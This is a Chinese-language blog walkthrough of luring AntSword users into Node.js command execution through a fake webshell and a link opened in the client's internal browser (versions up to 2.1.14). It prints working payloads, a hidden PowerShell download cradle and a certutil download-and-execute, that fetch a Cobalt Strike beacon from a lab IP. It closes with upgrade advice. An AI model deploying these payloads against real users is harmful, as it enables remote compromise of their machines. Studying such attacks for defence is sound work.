利用蚁剑钓鱼上线CS

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

利用蚁剑钓鱼上线CS_第1张图片

利用蚁剑钓鱼上线CS_第2张图片

 

反制复现

环境准备:

红队 蓝队
IP 192.168.108.220 192.168.108.150
版本 蚁剑 Cobalt Strike

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩


AntSword password admin

利用蚁剑钓鱼上线CS_第3张图片

利用蚁剑钓鱼上线CS_第4张图片

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

利用蚁剑钓鱼上线CS_第5张图片

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线


 require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });

或者下载文件方式上线CS


require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");

利用蚁剑钓鱼上线CS_第6张图片

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

可以自行编写攻击者点击钓鱼链接时的话术

利用蚁剑钓鱼上线CS_第7张图片

2、红队开始利用蚁剑进行连接

利用蚁剑钓鱼上线CS_第8张图片

模拟红队的文件浏览页面

利用蚁剑钓鱼上线CS_第9张图片

利用蚁剑钓鱼上线CS_第10张图片

模拟红队的命令行操作回显

利用蚁剑钓鱼上线CS_第11张图片

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

利用蚁剑钓鱼上线CS_第12张图片

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

利用蚁剑钓鱼上线CS_第13张图片

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

修复建议

1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。

你可能感兴趣的:(网络安全,安全)